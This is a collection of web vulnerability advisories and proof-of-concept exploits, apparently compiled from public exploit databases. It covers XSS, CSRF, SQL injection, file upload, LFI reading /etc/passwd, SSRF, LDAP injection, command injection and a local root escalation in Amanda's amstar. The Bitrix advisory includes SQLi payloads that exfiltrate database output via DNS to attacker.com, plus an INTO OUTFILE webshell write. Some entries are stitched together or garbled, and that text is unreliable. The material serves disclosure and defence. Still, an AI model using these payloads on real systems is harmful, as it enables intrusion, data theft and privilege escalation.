option=org.apache.struts.taglib.html.TOKEN=05b70e70fce2ede0d6efc8aef01b1519&addmonitors=0&name=%3Cscript%3Ealert%285%29%3C%2Fscript%3E&description=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&allowners_list=1&grouptype=1&createMV=createMV&mgtypestatus%231001=on&mgtypes_1001=1&mgtypes_1007=0&mgtypes_1008=0&mgtypestatus%231002=on&mgtypes_1002=1&mgtypestatus%231003=on&mgtypes_1003=1&mgtypestatus%231004=on&mgtypes_1004=1&mgtypestatus%231006=on&mgtypes_1006=1&locationid=1
Parameters:
leftexp1, rightexp1, leftexp2, rightexp2 (POST)
Payload: haid=null&method=editAnomalyProfileAction&id=0&secondarycriticalexist=false&secondarywarningexist=false&secondaryinfoexist=false&select=thresholdNumeric&displayname=&criticalthresholdcondition=GT&criticalthresholdvalue=5&criticalconditionjoiner=OR&secondarycriticalthresholdcondition=GT&secondarycriticalthresholdvalue=5&criticalthresholdmessage=Critical+Alarm+Message&consecutive_mincriticalpolls=Use+global+defaults&consecutive_criticalpolls=Use+global+defaults&warningthresholdcondition=EQ&warningthresholdvalue=5&warningconditionjoiner=OR&secondarywarningthresholdcondition=EQ&secondarywarningthresholdvalue=5&warningthresholdmessage=Warning+Alarm+Message&consecutive_minwarningpolls=Use+global+defaults&consecutive_warningpolls=Use+global+defaults&infothresholdcondition=LT&infothresholdvalue=5&infoconditionjoiner=OR&secondaryinfothresholdcondition=LT&secondaryinfothresholdvalue=5&infothresholdmessage=Clear+Alarm+message&consecutive_minclearpolls=Use+global+defaults&consecutive_clearpolls=
Use+global+defaults&description=&cancel=true&percentagevalue=1&anomalyId=10000001&anomalyName=%26lt%3Bscript%26gt%3Balert%26%2340%3B1%29%26lt%3B%2Fscript%26gt%3B&baseformulaType=0&baselineType=1&baseWeek=1&monthYears=8-2015&higherPercentage=1&higherValue=20&alarmType=1&lowerValue=30&loweralarmType=4&sendmail=0&comparisonType=1&leftexp1=%3Cscript%3Ealert%282%29%3C%2Fscript%3E&leftselect=%3E&rightexp1=%3Cscript%3Ealert%283%29%3C%2Fscript%3E&alarmTypeExpression=1&leftexp2=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&rightselect=%3E&rightexp2=%3Cscript%3Ealert%285%29%3C%2Fscript%3E&loweralarmTypeExpression=4&anomalymethod=editAnomalyProfileAction&cancel1=true
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2. Multiple Cross Site Request Forgery (CSRF)
Sample Payload for executing command:
<html>
<body>
<form action="http://localhost:9090/common/executeScript.do">
<input type="hidden" name="method" value="testAction" />
<input type="hidden" name="actionID" value="10000010" />
<input type="hidden" name="haid" value="null" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
3. Privilege Escalation on userconfiguration.do (Become an Admin)
Parameter:
username (GET)
Payload:
[Original]
http://localhost:9090/userconfiguration.do?method=editUser&username=test1&userid=10000003
[Escalated Privileges]
http://localhost:9090/userconfiguration.do?method=editUser&username=admin&userid=10000003
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
All flaws described here were discovered and researched by:
Bikramaditya Guha aka "PhoenixX"
********************************************************************************************************************************************************************************************************************************
source: https://www.securityfocus.com/bid/68558/info
ENL Newsletter plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ENL Newsletter 1.0.1 is vulnerable; other versions may also be affected.
http://www.example.com/wp-admin/admin.php?page=enl-add-new&id=2 union select 1,@@version,3,user(),database(),6,7,8,9,0,1
source: https://www.securityfocus.com/bid/68656/info
The CopySafe PDF Protection plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files.
An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.
CopySafe PDF Protection 0.6 and prior are vulnerable.
<form
action="http://www.example.com/wp-content/plugins/wp-copysafe-pdf/lib/uploadify/uploadify.php"
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="wpcsp_file" ><br>
<input type=text name="upload_path" value="../../../../uploads/">
<input type="submit" name="submit" value="Submit">
</form>
source: https://www.securityfocus.com/bid/68658/info
WEBMIS CMS is prone to a vulnerability that lets attackers upload arbitrary files.
An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.
<form
action="http://www.example.com/webmis_installation/plugin/uploadify/uploadify.php"
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" ><br>
<input type=text name="path" value="/webmis_installation/plugin/">
<input type=text name="someKey" value="someValue"]>
<input type="submit" name="submit" value="Submit">
</form>
source: https://www.securityfocus.com/bid/68662/info
Tera Charts plugin for WordPress is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these issues to obtain potentially sensitive information; other attacks are also possible.
Tera Charts 0.1 is vulnerable; other versions may also be affected.
http://www.example.com/wordpress_vuln_check/wp-content/plugins/tera-charts/charts/treemap.php?fn=../../../../../etc/passwd
http://www.example.com/wordpress_vuln_check/wp-content/plugins/tera-charts/charts/treemap.php?fn=../../../../../etc/passwd
source: https://www.securityfocus.com/bid/68662/info
Tera Charts plugin for WordPress is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these issues to obtain potentially sensitive information; other attacks are also possible.
Tera Charts 0.1 is vulnerable; other versions may also be affected.
http://www.example.com/wp_test/wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd
source: https://www.securityfocus.com/bid/68/info
http://www.example.com/alfresco/proxy?endpoint=http://internal_system:port 663/info
Alfresco Community Edition is prone to multiple security vulnerabilities.
An attacker may leverage these issues to gain sensitive information or bypass certain security restrictions.
Alfresco Community Edition 4.2.f and earlier are vulnerable.
http://www.example.com/alfresco/proxy?endpoint=http://internal_system:port
source: https://www.securityfocus.com/bid/68519/info
WeBid is prone to multiple cross-site-scripting vulnerabilities and an LDAP injection vulnerability.
An attacker may leverage these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
WeBid 1.1.1 is vulnerable; other versions may also be affected.
1. http://www.example.com/WeBid/register.php
Reflected Cross-Site Scripting in the parameters are :
"TPL_name="
"TPL_nick="
"TPL_email"
"TPL_year"
"TPL_address"
"TPL_city"
"TPL_prov"
"TPL_zip"
"TPL_phone"
"TPL_pp_email"
"TPL_authnet_id"
"TPL_authnet_pass"
"TPL_wordpay_id"
"TPL_toocheckout_id"
"TPL_moneybookers_email"
PoC :
we can run our xss script with all these different parameters
Host=www.example.com
User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=en-US,en;q=0.5
Accept-Encoding=gzip, deflate
Referer=http://www.example.com/web-id/register.php
Cookie=WEBID_ONLINE=57e5a8970c4a9df8850c130e44e49160; PHPSESSID=2g18aupihsotkmka8778utvk47
Connection=keep-alive
Content-Type=application/x-www-form-urlencoded
Content-Length=417
POSTDATA=csrftoken=&TPL_name="><script>alert('Hacked By Govind Singh aka NullPort');</script>&TPL_nick=&TPL_password=&TPL_repeat_password=&TPL_email=&TPL_day=&TPL_month=00&TPL_year=&TPL_address=&TPL_city=&TPL_prov=&TPL_country=United+Kingdom&TPL_zip=&TPL_phone=&TPL_timezone=0&TPL_nletter=1&TPL_pp_email=&TPL_authnet_id=&TPL_authnet_pass=&TPL_worldpay_id=&TPL_toocheckout_id=&TPL_moneybookers_email=&captcha_code=&action=first
----------------------------------------------------------------------------------------------------------------
2. http://www.example.com/WeBid/user_login.php
Reflected Cross-Site Scripting in the parameter is :
"username"
Host=www.example.com
User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=en-US,en;q=0.5
Accept-Encoding=gzip, deflate
Referer=http://www.example.com/web-id/user_login.php
Cookie=WEBID_ONLINE=e54c2acd05a02315f39ddb4d3a112c1e; PHPSESSID=2g18aupihsotkmka8778utvk47
Connection=keep-alive
Content-Type=application/x-www-form-urlencoded
Content-Length=96
POSTDATA=username="><script>alert('xss PoC By Govind Singh');</script>&password=&input=Login&action=login
==================================================================================================================
2. LDAP Injection
PoC :
http://www.example.com/WeBid/loader.php?js=[LDAP]
http://www.example.com/WeBid/loader.php?js=js/jquery.js;js/jquery.lightbox.js;
PoC
http://www.example.com/WeBid/viewhelp.php?cat=[LDAP]
Replace cat= as 1,2,3,4
Advisory ID: HTB23279
Product: mcart.xls Bitrix module
Vendor: www.mcart.ru
Vulnerable Version(s): 6.5.2 and probably prior
Tested Version: 6.5.2
Advisory Publication: November 18, 2015 [without technical details]
Vendor Notification: November 18, 2015
Public Disclosure: January 13, 2016
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2015-8356
Risk Level: Medium
CVSSv3 Base Score: 6.3 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L]
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple SQL Injection vulnerabilities in mcart.xls Bitrix module, which can be exploited to execute arbitrary SQL queries and obtain potentially sensitive data, modify information in database and gain complete control over the vulnerable website.
All discovered vulnerabilities require that the attacker is authorized against the website and has access to vulnerable module. However the vulnerabilities can be also exploited via CSRF vector, since the web application does not check origin of received requests. This means, that a remote anonymous attacker can create a page with CSRF exploit, trick victim to visit this page and execute arbitrary SQL queries in database of vulnerable website.
1. Input passed via the "xls_profile" HTTP GET parameter to "/bitrix/admin/mcart_xls_import.php" script is not properly sanitised before being used in SQL query. A remote authenticated attacker can manipulate SQL queries by injecting arbitrary SQL code.
The PoC code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP address for `version()` (or any other sensitive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):
http://[host]/bitrix/admin/mcart_xls_import.php?del_prof_real=1&xls_profile=%27%20OR%201=(select%20load_file(CONCAT(CHAR(92),CHAR(92),(select%20version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))+--+
2. Input passed via the "xls_profile" HTTP GET parameter to "/bitrix/admin/mcart_xls_import.php" script is not properly sanitised before being used in SQL query. A remote authenticated attacker can manipulate SQL queries by injecting arbitrary SQL code.
A simple exploit below will write "<?phpinfo()?>" string into "/var/www/file.php" file:
http://[host]/bitrix/admin/mcart_xls_import.php?xls_profile=%27%20UNION%20SELECT%201,%27%3C?%20phpinfo%28%29;%20?%3E%27,3,4,5,6,7,8,9,0%20INTO%20OUTFILE%20%27/var/www/file.php%27%20--%202
Successful exploitation requires that the file "/var/www/file.php" is writable by MySQL system account.
3. Input passed via the "xls_iblock_id", "xls_iblock_section_id", "firstRow", "titleRow", "firstColumn", "highestColumn", "sku_iblock_id" and "xls_iblock_section_id_new" HTTP GET parameters to "/bitrix/admin/mcart_xls_import_step_2.php" script is not properly sanitised before being used in SQL query. A remote authenticated attacker can manipulate SQL queries by injecting arbitrary SQL code.
Below is a list of exploits for each vulnerable parameter. The exploits are based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP address for `version()` (or any other sensitive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):
"xls_iblock_id":
http://[host]/bitrix/admin/mcart_xls_import_step_2.php?save_profile=Y&make_translit_code=Y&xls_iblock_id=0,0,0,0,0,0,0,0,0,(select%20load_file(CONCAT(CHAR(92),CHAR(92),(select%20version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))%29+--+&xls_iblock_section_id=0&XLS_IDENTIFY=0&firstRow=0&titleRow=0&firstColumn=0&highestColumn=0&XLS_GLOBALS=0&sku_iblock_id=1&cml2_link_code=1&xls_iblock_section_id_new=0
"xls_iblock_section_id"
http://[host]/bitrix/admin/mcart_xls_import_step_2.php?save_profile=Y&make_translit_code=Y&xls_iblock_id=0&xls_iblock_section_id=0,0,(select%20load_file(CONCAT(CHAR(92),CHAR(92),(select%20version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))%29+--+&XLS_IDENTIFY=0&firstRow=0&titleRow=0&firstColumn=0&highestColumn=0&XLS_GLOBALS=0&sku_iblock_id=1&cml2_link_code=1&xls_iblock_section_id_new=0
"firstRow":
http://[host]/bitrix/admin/mcart_xls_import_step_2.php?save_profile=Y&make_translit_code=Y&xls_iblock_id=0&xls_iblock_section_id=0&XLS_IDENTIFY=0&firstRow=0,0,0,0,0,0,0,0,0(select%20load_file(CONCAT(CHAR(92),CHAR(92),(select%20version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))%29+--+&titleRow=0&firstColumn=0&highestColumn=0&XLS_GLOBALS=0&sku_iblock_id=1&cml2_link_code=1&xls_iblock_section_id_new=0
"titleRow":
http://[host]/bitrix/admin/mcart_xls_import_step_2.php?save_profile=Y&make_translit_code=Y&xls_iblock_id=0&xls_iblock_section_id=0&XLS_IDENTIFY=0&firstRow=0&titleRow=0,0,0,0,0,0,0,(select%20load_file(CONCAT(CHAR(92),CHAR(92),(select%20version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))%29+--+&firstColumn=0&highestColumn=0&XLS_GLOBALS=0&sku_iblock_id=1&cml2_link_code=1&xls_iblock_section_id_new=0
"firstColumn":
http://[host]/bitrix/admin/mcart_xls_import_step_2.php?save_profile=Y&make_translit_code=Y&xls_iblock_id=0&xls_iblock_section_id=0&XLS_IDENTIFY=0&firstRow=0&titleRow=0&firstColumn=0%27,0,0,0,0,0,(select%20load_file(CONCAT(CHAR(92),CHAR(92),(select%20version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))%29+--+&highestColumn=0&XLS_GLOBALS=0&sku_iblock_id=1&cml2_link_code=1&xls_iblock_section_id_new=0
"highestColumn":
http://[host]/bitrix/admin/mcart_xls_import_step_2.php?save_profile=Y&make_translit_code=Y&xls_iblock_id=0&xls_iblock_section_id=0&XLS_IDENTIFY=0&firstRow=0&titleRow=0&firstColumn=0&highestColumn=0%27,0,0,0,0,(select%20load_file(CONCAT(CHAR(92),CHAR(92),(select%20version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))%29+--+&XLS_GLOBALS=0&sku_iblock_id=1&cml2_link_code=1&xls_iblock_section_id_new=0
"sku_iblock_id":
http://[host]/bitrix/admin/mcart_xls_import_step_2.php?save_profile=Y&make_translit_code=Y&xls_iblock_id=0&xls_iblock_section_id=0&XLS_IDENTIFY=0&firstRow=0&titleRow=0&firstColumn=0&highestColumn=0&XLS_GLOBALS=0&sku_iblock_id=1,0,0,0,(select%20load_file(CONCAT(CHAR(92),CHAR(92),(select%20version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))%29+--+&cml2_link_code=1&xls_iblock_section_id_new=0
"xls_iblock_section_id_new":
http://[host]/bitrix/admin/mcart_xls_import_step_2.php?save_profile=Y&make_translit_code=Y&xls_iblock_id=0&xls_iblock_section_id=0&XLS_IDENTIFY=0&firstRow=0&titleRow=0&firstColumn=0&highestColumn=0&XLS_GLOBALS=0&sku_iblock_id=1&cml2_link_code=1&xls_iblock_section_id_new=0,(select%20load_file(CONCAT(CHAR(92),CHAR(92),(select%20version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))%29+--+
-----------------------------------------------------------------------------------------------
Solution:
Disclosure timeline:
2015-11-18 Vendor notified via email, no reply.
2015-12-01 Vendor notified via email, no reply.
2015-12-04 Vendor notified via contact form and email, no reply.
2015-12-11 Fix Requested via contact form and emails, no reply.
2015-12-28 Fix Requested via contact form and emails, no reply.
2016-01-11 Fix Requested via contact form and emails, no reply.
2016-01-13 Public disclosure.
Currently we are not aware of any official solution for this vulnerability.
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23279 - https://www.htbridge.com/advisory/HTB23279 - Multiple SQL Injection Vulnerabilities in mcart.xls Bitrix Module
[2] mcart.xls - https://marketplace.1c-bitrix.ru/solutions/mcart.xls/ - A Bitrix module for upload and import data from Excel file.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.
-----------------------------------------------------------------------------------------------
Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
AMANDA, the Advanced Maryland Automatic Network Disk Archiver, is a backup
solution that allows the IT administrator to set up a single master backup
server to back up multiple hosts over network to tape drives/changers or
disks or optical media. Amanda uses native utilities and formats (e.g. dump
and/or GNU tar) and can back up a large number of servers and workstations
running multiple versions of Linux or Unix.
A user with backup privs can trivially compromise a client installation.
Amstar is an Amanda Application API script. It should not be run by users
directly. It uses star to backup and restore data. It runs binaries with
root permissions when parsing the command line arguement --star-path.
Tested against Amanda 3.3.1. An example is shown below:
$ id
uid=34(backup) gid=34(backup) groups=34(backup),6(disk),26(tape)
$ cat /tmp/runme.sh
#!/bin/sh
/bin/sh
$ ls -al /usr/lib/amanda/application/amstar
-rwsr-xr-- 1 root backup 31284 Jul 29 2012 /usr/lib/amanda/application/amstar
$ /usr/lib/amanda/application/amstar restore --star-path=/tmp/runme.sh
# id
uid=0(root) gid=34(backup) groups=0(root),6(disk),26(tape),34(backup)
# uname -a
Linux raspberrypi 3.10.25 #1 Sat Dec 28 20:50:23 EST 2013 armv6l GNU/Linux
#
-- Hacker Fantastic
source: https://www.securityfocus.com/bid/68525/info
WordPress DZS-VideoGallery plugin is prone to multiple cross site scripting vulnerabilities and a command-injection vulnerability.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to execute arbitrary OS commands. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
DZS-VideoGallery 7.85 is vulnerable; prior versions are also affected.
Cross-site-scripting:
http://www.example.com/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?swfloc=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?designrand=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Command-Injection:
http://www.example.com/wp-content/plugins/dzs-videogallery/img.php?webshot=1&src=http://www.example.com/1.jpg$(os-cmd)